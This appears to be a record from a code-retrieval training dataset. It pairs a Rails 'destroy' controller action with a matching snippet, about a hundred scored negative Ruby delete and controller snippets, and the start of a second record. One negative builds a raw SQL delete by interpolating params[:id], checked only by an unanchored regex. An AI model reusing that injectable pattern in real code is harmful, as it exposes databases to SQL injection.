def destroy @prod_coti.destroy respond_to do |format| format.html { redirect_to prod_cotis_url, notice: 'Prod coti was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @prod_cli.destroy\n respond_to do |format|\n format.html { redirect_to prod_clis_url, notice: 'produto excluido com sucesso.' }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def destroy\n @trein_consul_comercial.destroy\n respond_to do |format|\n format.html { redirect_to trein_consul_comercials_url }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @contato_produto = ContatoProduto.find(params[:id])\n @contato_produto.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_contato_produtos_url }\n format.json { head :no_content }\n end\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def destroy\n @prod_servi.destroy\n respond_to do |format|\n format.html { redirect_to prod_servis_url, notice: 'Prod servi was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @cotiz_clo_mul.destroy\n respond_to do |format|\n format.html { redirect_to cotiz_clo_muls_url, notice: 'Cotiz clo mul was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @productonegocio = Productonegocio.find(params[:id])\n @productonegocio.destroy\n\n respond_to do |format|\n format.html { redirect_to productonegocios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cartum = Cartum.find(params[:id])\n @cartum.destroy\n\n respond_to do |format|\n format.html { redirect_to carta_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @caracteristica_cartum = CaracteristicaCartum.find(params[:id])\n @caracteristica_cartum.destroy\n\n respond_to do |format|\n format.html { redirect_to caracteristica_carta_url }\n format.json { head :no_content }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end", "def delete\n request(:delete)\n end", "def destroy\n @commtent1 = Commtent1.find(params[:id])\n @commtent1.destroy\n\n respond_to do |format|\n format.html { redirect_to commtent1s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @small_concert.destroy\n respond_to do |format|\n format.html { redirect_to '/admin/small_concerts' }\n format.json { head :no_content }\n end\n end", "def destroy\n @produtc = Produtc.find(params[:id])\n @produtc.destroy\n\n respond_to do |format|\n format.html { redirect_to produtcs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @produto = Produto.find(params[:id])\n @produto.destroy\n\n respond_to do |format|\n format.html { redirect_to produtos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @curso.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def destroy\n @thermo_oil_production = ThermoOilProduction.find(params[:id])\n @thermo_oil_production.destroy\n\n respond_to do |format|\n format.html { redirect_to thermo_oil_productions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contract_product.destroy\n\n respond_to do |format|\n format.html { redirect_to contract_products_url(:contract_id => @contract_product.contract_id) }\n format.json { head :no_content }\n end\n end", "def destroy\n @mixproducto = Mixproducto.find(params[:id])\n @mixproducto.destroy\n\n respond_to do |format|\n format.html { redirect_to mixproductos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @iti_cust_dest_poa_detail.destroy\n respond_to do |format|\n format.html { redirect_to iti_cust_dest_poa_details_url }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def deleteProd()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n p = Product.find(params[:id])\n status = p.destroy\n error = \"\"\n if(p.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: true, reason: error, data: \"\"}\n end", "def destroy\n @admin_produto.destroy\n respond_to do |format|\n format.html { redirect_to admin_produtos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @mobile_cfr_prod.destroy\n respond_to do |format|\n format.html { redirect_to mobile_cfr_prods_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if params[:id] =~ /\\d+/\n @budget = Budget.find(params[:id])\n ActiveRecord::Base.connection.execute(\"delete from budget_products where budget_id = #{params[:id]}\")\n @budget.destroy\n end\n \n respond_to do |format|\n format.html { redirect_to budgets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @prod = Prod.find(params[:id])\n @prod.destroy\n\n respond_to do |format|\n format.html { redirect_to prods_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @producto_seccion.destroy\n respond_to do |format|\n format.html { redirect_to producto_seccions_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Company.delete(params[\"id\"])\n end", "def destroy\n @kota_stone.destroy\n respond_to do |format|\n format.html { redirect_to kota_stones_url }\n format.json { head :no_content }\n end\n end", "def delete(options = nil)\n request = Request.new(@client)\n path = \"/products/\" + CGI.escape(@id) + \"\"\n data = {\n\n }\n\n response = Response.new(request.delete(path, data, options))\n return_values = Array.new\n \n return_values.push(response.success)\n\n \n return_values[0]\n end", "def destroy\n @centro_costo.destroy\n respond_to do |format|\n format.html { redirect_to centro_costos_url, notice: 'Centro de Costo eliminado' }\n format.json { head :no_content }\n end\n end", "def destroy\n @colegio = Colegio.find(params[:id])\n @colegio.destroy\n\n respond_to do |format|\n format.html { redirect_to colegios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @v1_chore = Chore.where(id: params[:id])\n if @v1_chore.destroy\n head(:ok)\n else\n head(:unprocessable_entity)\n end\n end", "def destroy\n @onecompany_product = Onecompany::Product.find(params[:id])\n @onecompany_product.destroy\n\n respond_to do |format|\n format.html { redirect_to onecompany_products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @catalogo.destroy\n respond_to do |format|\n format.html { redirect_to catalogos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @catalogo.destroy\n respond_to do |format|\n format.html { redirect_to catalogos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cotact.destroy\n respond_to do |format|\n format.html { redirect_to cotacts_url, notice: 'Cotact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @datoscontacto = Datoscontacto.find(params[:id])\n @datoscontacto.destroy\n\n respond_to do |format|\n format.html { redirect_to datoscontactos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @secubat_client = SecubatClient.find(params[:id])\n @secubat_client.destroy\n\n respond_to do |format|\n format.html { redirect_to secubat_clients_url }\n format.json { head :ok }\n end\n end", "def destroy\n @troca_produto.destroy\n respond_to do |format|\n format.html { redirect_to troca_produtos_url, notice: \"Troca produto was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\r\n checar_egresso_super\r\n @egresso.destroy\r\n respond_to do |format|\r\n format.html { redirect_to egressos_url, notice: 'Egresso excluído com sucesso.' }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\r\n @sivic_contabanco.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_contabancos_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @competency_pertenece_asignatura = CompetencyPerteneceAsignatura.find(params[:id])\n @competency_pertenece_asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to competency_pertenece_asignaturas_url }\n format.json { head :no_content }\n end\n end", "def delete\n start { |connection| connection.request http :Delete }\n end", "def destroy\n @consumo = Consumo.find(params[:id])\n @consumo.destroy\n\n respond_to do |format|\n format.html { redirect_to consumos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @prodorcarealizado.destroy\n respond_to do |format|\n format.html { redirect_to prodorcarealizados_url, notice: 'Prodorcarealizado was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def soccer_delete\n base_delete(params, \"Soccer\")\n end", "def destroy\n @cto.destroy\n respond_to do |format|\n format.html { redirect_to ctos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end", "def destroy\n @tinta_sublimacion_producto.destroy\n respond_to do |format|\n format.html { redirect_to tinta_sublimacion_productos_url, notice: 'Tinta sublimacion producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @usuario_cartum = UsuarioCartum.find(params[:id])\n @usuario_cartum.destroy\n\n respond_to do |format|\n format.html { redirect_to usuario_carta_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @producto_bodega.destroy\n respond_to do |format|\n format.html { redirect_to producto_bodegas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @htc.destroy\n respond_to do |format|\n format.html { redirect_to htcs_url }\n format.json { head :no_content }\n end\n end", "def deleteFlatpack( flatpack_id)\n params = Hash.new\n params['flatpack_id'] = flatpack_id\n return doCurl(\"delete\",\"/flatpack\",params)\n end", "def destroy\n # @core_stock_product.destroy\n # respond_to do |format|\n # format.html { redirect_to core_stock_products_url }\n # format.json { head :no_content }\n # end\n end", "def delete endpoint\n do_request :delete, endpoint\n end", "def destroy\r\n @sivic_banco.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_bancos_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def delete\n supprimer = SondageService.instance.supprimerSondage(params[:id])\n (supprimer) ? (render json: true, status: :ok) : (render json: false, status: :not_found)\nend", "def destroy\n @capacidad = Capacidad.find(params[:id])\n @capacidad.destroy\n\n respond_to do |format|\n format.html { redirect_to capacidades_url }\n format.json { head :no_content }\n end\n end", "def destroy\n# redirect_to activacionclientets_path # ted esto para evitar que borren por la web. ok. Que valla al index. provisional ok.\n \n #@activacionclientet.destroy\n respond_to do |format|\n format.html { redirect_to activacionclientets_url, notice: 'Activacionclientes no se puede eliminar por esta via. Contacte el administrador.' } # ted esto para evitar que borren por la web\n format.json { head :no_content }\n end\n end", "def delete_data\n response = WebPay.client.delete([path, 'data'].join('/'))\n response['deleted']\n end", "def delete(path)\n repository = path.split(/\\//)[2]\n objectid = path.split(/\\//)[3]\n if storage_fetch(repository, objectid) && storage_delete(repository, objectid)\n ['200', {}, []]\n else\n ['404', {}, [\"Repository #{repository} or ObjectID #{objectid} not found: #{path}\"]]\n end\n end", "def destroy\n @pro_far = ProFar.where([\"producto_id = ? and farmacium_id = ?\", params[:id], session[:farmacia_id]]).first\n @pro_far.destroy\n respond_to do |format|\n msg = { :status => \"ok\", :message => \"Eliminado!\" }\n format.json { render :json => msg }\n end\n end", "def http_delete(path, data = nil, content_type = 'application/json')\n http_methods(path, :delete, data, content_type)\n end", "def destroy\n @cephalopod.destroy\n respond_to do |format|\n format.html { redirect_to cephalopods_url }\n format.json { head :no_content }\n end\n end", "def delete(id:)\n id_check(:id, id)\n\n cf_delete(path: \"/organizations/#{org_id}/railguns/#{id}\")\n end", "def destroy\n @produto.destroy\n respond_to do |format|\n format.html { redirect_to produtos_url, notice: 'Produto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @produto.destroy\n respond_to do |format|\n format.html { redirect_to produtos_url, notice: 'Produto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @produto.destroy\n respond_to do |format|\n format.html { redirect_to produtos_url, notice: 'Produto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @produto.destroy\n respond_to do |format|\n format.html { redirect_to produtos_url, notice: 'Produto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @producto.destroy\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @clonet = Clonet.find(params[:id])\n @clonet.destroy\n\n respond_to do |format|\n format.html { redirect_to clonets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n logger.debug 'destroy_some interesting information'\n @comdty = Comdty.find(params[:id])\n @comdty.destroy\n\n respond_to do |format|\n format.html { redirect_to(comdties_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @production.destroy\n respond_to do |format|\n format.html { redirect_to production_url, notice: 'Producción exitosamente borrada.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @comanda_produto.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Item excluído com sucesso.' }\n format.json { head :no_content }\n end\n end", "def cfa_delete\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in cfa titles cfa_delete method\"\n begin\n id=params[\"format\"] \n cfa=RestClient.delete $api_service+'/cfa_titles/'+id\n rescue =>e\n Rails.logger.custom_log.error { \"#{e} Cfa controller delete method\" }\n end\n redirect_to action: \"index\"\n end", "def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end", "def destroy\n @consorciot.destroy\n respond_to do |format|\n format.html { redirect_to consorciots_url, notice: 'Consorciot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @storage = @client.storages.find(params[:id])\n @storage.destroy\n\n respond_to do |format|\n format.html { redirect_to client_url(@client) }\n format.json { head :no_content }\n end\n end", "def destroy\n @relacao_produto.destroy\n respond_to do |format|\n format.html { redirect_to relacao_produtos_url, notice: 'Relacao produto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def destroy\n @precioproducto = Precioproducto.find(params[:id])\n @precioproducto.destroy\n\n respond_to do |format|\n format.html { redirect_to precioproductos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @cta.destroy\n respond_to do |format|\n format.html { redirect_to cta_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @prueba_json.destroy\n respond_to do |format|\n format.html { redirect_to prueba_jsons_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cso = Cso.find(params[:id])\n @cso.destroy\n\n respond_to do |format|\n format.html { redirect_to csos_url }\n format.json { head :no_content }\n end\n end", "def delete_product(id)\n @client.raw('delete', \"/ecommerce/products/#{id}\")\n end" ]
[ "0.7181901", "0.7046368", "0.6710193", "0.6703705", "0.66804236", "0.6603741", "0.65819955", "0.6579261", "0.65738744", "0.6564295", "0.65524226", "0.65429926", "0.65280515", "0.6522569", "0.6521582", "0.6521582", "0.6521582", "0.6521582", "0.6518832", "0.6507469", "0.65021807", "0.64965034", "0.64961344", "0.6490583", "0.64807284", "0.64783263", "0.64692456", "0.6465398", "0.64633626", "0.64543355", "0.64526254", "0.6452282", "0.6452208", "0.64321715", "0.6429644", "0.6426881", "0.6424936", "0.6424931", "0.6420858", "0.6417386", "0.64166343", "0.64150715", "0.6409843", "0.64058095", "0.6398359", "0.639251", "0.63918936", "0.63918936", "0.63896334", "0.63863045", "0.6373589", "0.6370436", "0.63702035", "0.63631094", "0.63595366", "0.6357891", "0.6356849", "0.6353925", "0.6352619", "0.63483095", "0.6347595", "0.63461965", "0.63459456", "0.6344173", "0.6343247", "0.6341179", "0.63398385", "0.63376105", "0.6337221", "0.6336153", "0.6334231", "0.6333223", "0.63332194", "0.6333015", "0.6332449", "0.633182", "0.63277155", "0.63271993", "0.63251144", "0.6325018", "0.6325018", "0.6325018", "0.6325018", "0.6321941", "0.63205594", "0.63181275", "0.63145775", "0.6314371", "0.6310479", "0.63071203", "0.6305979", "0.6305409", "0.629903", "0.62922305", "0.62922305", "0.6288655", "0.62876135", "0.62868154", "0.62860674", "0.6283864" ]
0.71944636
0
Use callbacks to share common setup or constraints between actions.
def set_prod_coti @prod_coti = ProdCoti.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def prod_coti_params params.require(:prod_coti).permit(:cod_cotiza, :cod_producto) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, 